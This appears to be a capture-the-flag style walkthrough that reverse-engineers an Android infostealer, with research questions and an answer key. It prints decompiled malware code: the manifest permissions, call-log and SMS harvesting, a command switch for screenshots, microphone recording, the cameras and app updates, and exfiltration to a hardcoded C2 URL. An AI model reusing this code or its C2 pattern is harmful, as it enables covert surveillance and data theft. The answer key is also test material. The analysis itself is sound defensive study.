Android Infostealer

Description:

A user downloads what appears to be a legitimate mobile app from an app store. The app seems to work fine and doesn't raise any suspicion, but in the background, it silently installs an Android info stealer malware on the user's device.
The malware is designed to collect a wide range of sensitive information from the device, including call logs, SMS messages, contacts, browsing history, and location data. It may also be able to take screenshots, record audio or video, and access the device's camera.
Try to reverse it and help this user with information.

Research Objectives

1. What is the package name for the app?

2. What is the name of the background service declared in the manifest?

3. Which permission allows an app to access information about Wi-Fi networks?

4. What permission is needed for an app to determine its approximate location using network-based methods?

5. What is the name of the method that retrieves the call log information?

6. During the analysis of the “CallLogLister” class. What the number of fields are included in the call log information?

7. Malware tries to get a lot of information about the battery of android device. What is the last field?

8. What command should be used to get SMS data?

9. Which command is used to update the malware app?

10. What command is used to take screenshots?

11. Which command is used to record from the microphone?

12. What is the build type specified in this BuildConfig class?

13. What is the C2 server which is used by malware to send stolen device system?

Walkthrough

File Hashsum

```
SHA256 D9979A41027FE790399EDEBE5EF8765F61E1EB1A4EE1D11690B4C2A0AA38AE42
```

Code Overview

Manifest

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="1"
    android:versionName="1.0"
    package="com.example.appcode.appcode"
    platformBuildVersionCode="23"
    platformBuildVersionName="6.0-2438415">
    <uses-sdk
        android:minSdkVersion="13"
        android:targetSdkVersion="21"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>
    <uses-permission android:name="android.permission.READ_INSTALL_SESSIONS"/>
```

```
<application
    android:theme="@style/AppTheme"
    android:label="@string/app_name"
    android:icon="@drawable/ic_launcher"
    android:debuggable="true"
    android:allowBackup="false">
    <activity
        android:label="@string/app_name"
        android:name="com.example.appcode.appcode.MainActivity">
        <intent-filter>
            <action android:name="android.intent.action.MAIN"/>
            <category android:name="android.intent.category.LAUNCHER"/>
        </intent-filter>
    </activity>
    <service android:name="com.example.appcode.appcode.CMDService">
        <action android:name="com.example.appcode.appcode.CMDService"/>
    </service>
    <receiver android:name="com.example.appcode.appcode.BootUpReceiver">
        <intent-filter>
            <action android:name="android.intent.action.BOOT_COMPLETED"/>
            <category android:name="android.intent.category.DEFAULT"/>
        </intent-filter>
    </receiver>
    <receiver
        android:name="com.example.appcode.appcode.SMSMonitor"
        android:exported="true">
        <intent-filter android:priority="999">
            <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
        </intent-filter>
    </receiver>
    <receiver android:name="com.example.appcode.appcode.CallMonitor">
        <intent-filter>
            <action android:name="android.intent.action.PHONE_STATE"/>
        </intent-filter>
    </receiver>
</application>
```

CallLogLister

```java
public class CallLogLister {
    JSONObject call_logs;

    private String getDate(long time) {
        Calendar cal = Calendar.getInstance(Locale.ENGLISH);
        cal.setTimeInMillis(time);
        String date = DateFormat.format("yyyy-MM-dd hh:mm:ss", cal).toString();
        return date;
    }

    public JSONObject listCallLog(Context c, String where) {
        try {
            this.call_logs = new JSONObject();
            String[] column = {"_id", "type", "date", "duration", "number", "name", "raw_contact_id"};
            Cursor cursor = c.getContentResolver().query(CallLog.Calls.CONTENT_URI, column, where, null, "date DESC");
            JSONArray arry = new JSONArray();
            if (cursor.getCount() != 0) {
                cursor.moveToFirst();
                do {
                    if (cursor.getColumnCount() != 0) {
                        JSONObject json = new JSONObject();
                        json.put("_id", cursor.getString(cursor.getColumnIndex("_id")));
                        json.put("type", cursor.getString(cursor.getColumnIndex("type")));
                        json.put("date", getDate(Long.parseLong(cursor.getString(cursor.getColumnIndex("date")))));
                        json.put("duration", cursor.getString(cursor.getColumnIndex("duration")));
                        json.put("number", cursor.getString(cursor.getColumnIndex("number")));
                        json.put("name", cursor.getString(cursor.getColumnIndex("name")));
                        json.put("raw_contact_id", cursor.getString(cursor.getColumnIndex("raw_contact_id")));
                        arry.put(json);
                    }
                } while (cursor.moveToNext());
                this.call_logs.put("userdata", arry);
                return this.call_logs;
```

SystemInfo

```java
public class SystemInfo {
    public BroadcastReceiver batteryInfoReceiver = new BroadcastReceiver() { // from class: com.example
        @Override // android.content.BroadcastReceiver
        public void onReceive(Context context, Intent intent) {
            SystemInfo.this.health = intent.getIntExtra("health", 0);
            SystemInfo.this.level = intent.getIntExtra("level", 0);
            SystemInfo.this.plugged = intent.getIntExtra("plugged", 0);
            SystemInfo.this.present = intent.getExtras().getBoolean("present");
            SystemInfo.this.scale = intent.getIntExtra("scale", 0);
            SystemInfo.this.status = intent.getIntExtra("status", 0);
            SystemInfo.this.technology = intent.getExtras().getString("technology");
            SystemInfo.this.temperature = intent.getIntExtra("temperature", 0);
            SystemInfo.this.voltage = intent.getIntExtra("voltage", 0);
            SystemInfo.this.ctx.unregisterReceiver(SystemInfo.this.batteryInfoReceiver);
        }
    };
    public Context ctx;
    public int health;
    public int level;
    public int plugged;
    public boolean present;
    public int scale;
    public int status;
    public String technology;
    public int temperature;
    public TelephonyManager tm;
    public int voltage;
```

setting

```java
/* loaded from: classes.dex */
public class setting {
    public static String callCID;
    public static String callCMD;
    public static boolean callMoniterDw;
    public static boolean callMoniterUp;
    public static String recCID;
    public static String recCMD;
    public static String smsCID;
    public static String smsCMD;
    public static boolean smsMoniterDw;
    public static boolean smsMoniterUp;
    public static String verion = "1.0.0.0";
    static String weburl = "http://android.viral91.xyz/admin/webservices";
    public static boolean errors = false;
    public static String imi = "";
    public static String os = "";
    public static String ip = "";
    public static int userID = 0;
    public static int timerStart = 5000;
    public static int timerDelay = 0;
    public static long MINIMUM_DISTANCE_CHANGE_FOR_UPDATES = 10;
    public static long MINIMUM_TIME_BETWEEN_UPDATES = 10000;
    public static String capPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/.MCAP
    public static String recPath = Environment.getExternalStorageDirectory().getAbsolutePath() + "/.MREC
    public static boolean recMic = false;
    public static boolean recCall = false;
```

CMDService

```
switch (CMD) {
    case "recordcal":
        setting.recCall = true;
        setting.callWhere = where;
        setting.recCID = CID;
        setting.recCMD = CMD;
        callRecording();
        break;
    case "stopcallrec":
        stopRecording();
        break;
    case "recordmic":
        setting.recMic = true;
        setting.setRecTime(where);
        micRecording();
        break;
    case "recordstop":
        stopMic();
        break;
    case "callstop":
        if (this.call != null) {
            unregisterReceiver(this.call);
            break;
        }
        break;
```

```
230                     case "callmoniter":
231                         setting.callMoniterUp = true;
232                         setting.callMoniterDw = true;
233                         setting.callWhere = where;
234                         setting.callCID = CID;
235                         setting.callCMD = CMD;
236                         this.call = new CallMonitor();
237                         break;
238                     case "callmoniterup":
239                         setting.callMoniterUp = true;
240                         setting.callMoniterDw = false;
241                         setting.callWhere = where;
242                         setting.callCID = CID;
243                         setting.callCMD = CMD;
244                         this.call = new CallMonitor();
245                         break;
246                     case "callmoniterdw":
247                         setting.callMoniterUp = false;
248                         setting.callMoniterDw = true;
249                         setting.callWhere = where;
250                         setting.callCID = CID;
251                         setting.callCMD = CMD;
252                         this.call = new CallMonitor();
253                         break;
254                     case "smsstop":
255                         if (this.sms != null) {
256                             unregisterReceiver(this.sms);
257                             break;
258                         }
259                         break;
260                     case "smsmoniter":
261                         setting.smsMoniterUp = true;
262                         setting.smsMoniterDw = true;
263                         setting.smsWhere = where;
264                         setting.smsCID = CID;
265                         setting.smsCMD = CMD;
```

```
268                     case "smsmoniterup":
269                         setting.smsMoniterUp = true;
270                         setting.smsMoniterDw = false;
271                         setting.smsWhere = where;
272                         setting.smsCID = CID;
273                         setting.smsCMD = CMD;
274                         this.sms = new SMSMonitor();
275                         break;
276                     case "smsmoniterdw":
277                         setting.smsMoniterUp = false;
278                         setting.smsMoniterDw = true;
279                         setting.smsWhere = where;
280                         setting.smsCID = CID;
281                         setting.smsCMD = CMD;
282                         this.sms = new SMSMonitor();
283                         break;
284                     case "capscreen":
285                         ScreenShot screen = new ScreenShot();
286                         screen.jObj = jObj;
287                         screen.CID = CID;
288                         screen.CMD = this;
289                         screen.take();
290                         break;
291                     case "download":
292                         fileDownload fd = new fileDownload();
293                         fd.CMD = this;
294                         fd.CID = CID;
295                         fd.execute(jObj);
296                         break;
297                     case "smslogs":
298                         SMSLister sms = new SMSLister();
299                         this.json = sms.listSMS(this, where);
300                         this.json.put("CID", CID);
301                         this.json.put("CMD", CMD);
302                         new HttpAsyncTask().execute(this.json);
303                         break;
```

```
304                     case "ping":
305                         this.json.put("CMD", "ping");
306                         new HttpAsyncTask().execute(this.json);
307                         break;
308                     case "info":
309                         this.json = putInfo();
310                         new HttpAsyncTask().execute(this.json);
311                         break;
312                     case "update":
313                         this.newUp.updateSetting(jObj);
314                         break;
315                     case "updateApp":
316                         this.newUp.updateApp(getApplicationContext(), where);
317                         break;
318                     case "deleteFile":
319                         DirLister dfiel = new DirLister();
320                         dfiel.deleteFile(where);
321                         break;
322                     case "upload":
323                         this.upload.uploadToServer(jObj);
324                         break;
325                     case "backcam":
326                         PhotoTaker bc = new PhotoTaker(this, jObj);
327                         bc.backCam();
328                         break;
329                     case "frontcam":
330                         PhotoTaker fc = new PhotoTaker(this, jObj);
331                         fc.frontCam();
332                         break;
333                     case "calllogs":
334                         CallLogLister cl = new CallLogLister();
335                         this.json = cl.listCallLog(this, where);
336                         this.json.put("CID", CID);
337                         this.json.put("CMD", CMD);
338                         new HttpAsyncTask().execute(this.json);
339                         break;
```

```
340                     case "conlister":
341                         ContactsLister cn = new ContactsLister();
342                         this.json = cn.listContacts(this, where);
343                         this.json.put("CID", CID);
344                         this.json.put("CMD", CMD);
345                         new HttpAsyncTask().execute(this.json);
346                         break;
347                     case "dirlister":
348                         DirLister dir = new DirLister();
349                         this.json = dir.listDir(this, where);
350                         this.json.put("CID", CID);
351                         this.json.put("CMD", CMD);
352                         new HttpAsyncTask().execute(this.json);
353                         break;
354                     case "vibrate":
355                         vibrate(where, CID);
356                         break;
357                     case "showtoast":
358                         showToast(jObj, CID);
359                         break;
360                     case "gavecall":
361                         gaveCall(jObj, CID);
362                         break;
363                     case "sendsms":
364                         sendMessage SMS = new sendMessage();
365                         if (SMS.sendSMS(jObj, CID)) {
366                             updateStatus(CID, "3");
367                             break;
368                         } else {
369                             updateStatus(CID, "-1");
370                             break;
371                         }
372                     case "locstatus":
373                         sendLocStatus(CID, CMD);
374                         break;
375                     case "locnetwok":
```

```
378                     case "locGPS":
379                         sendLocGPS(CID, CMD);
380                         break;
381                     case "process":
382                         sendProcess(CID, CMD);
383                         break;
384                 }
385                 return;
```

BuildConfig

```java
package android.support.v4;

/* loaded from: classes.dex */
public final class BuildConfig {
    public static final String APPLICATION_ID = "android.support.v4";
    public static final String BUILD_TYPE = "release";
    public static final boolean DEBUG = false;
    public static final String FLAVOR = "";
    public static final int VERSION_CODE = -1;
    public static final String VERSION_NAME = "";
}
```

Summary

1. com.example.appcode.appcode
2. com.example.appcode.appcode.CMDService
3. android.permission.ACCESS_WIFI_STATE
4. android.permission.ACCESS_COARSE_LOCATION
5. listCallLog
6. 7
7. voltage
8. smslogs
9. updateapp
10. capscreen
11. recordmic
12. release
13. http[://]android.viral91[.]xyz/admin/webservices